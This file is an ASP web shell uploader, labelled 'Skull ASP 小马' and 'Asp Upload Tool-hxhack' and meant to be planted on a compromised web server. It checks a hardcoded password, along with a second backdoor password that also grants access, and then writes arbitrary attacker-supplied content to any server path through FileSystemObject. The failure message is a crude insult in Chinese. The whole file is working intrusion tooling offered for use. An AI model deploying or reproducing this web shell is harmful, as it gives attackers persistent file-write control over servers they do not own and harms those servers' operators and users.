<%
dim Userpwd,URL
Userpwd = "Arthur" 'User Password
URL = Request.html
If Request("pwd")=Userpwd or Request("pwd")="www.1937cn.com" then Session("mgler")=Userpwd
If Session("mgler")<>Userpwd Then
If Request.Form("pwd")<>"" Then
If Request.Form("pwd")=Userpwd Then
Session("mgler")=Userpwd
Response.Redirect URL
Else
Response.Write"操你大爷,密码都记不住!"
End If
Else
RW="User Login"
RW=RW & "
【Skull ASP 小马】"
RW=RW & "
只取webshell 不改首页 不删文件 不提权
"
Response.Write RW
RW=""
End If
Response.End
End If
%> <%on error resume next%><%ofso="scripting.filesystemobject"%><%set fso=server.createobject(ofso)%><%path=request("path")%><%if path<>"" then%><%data=request("dama")%><%set dama=fso.createtextfile(path,true)%><%dama.write data%><%if err=0 then%><%="Success!"%><%else%><%="False!"%><%end if%><%err.clear%><%end if%><%dama.close%><%set dama=nothing%><%set fos=nothing%><%="Asp Upload Tool-hxhack"%><%=" |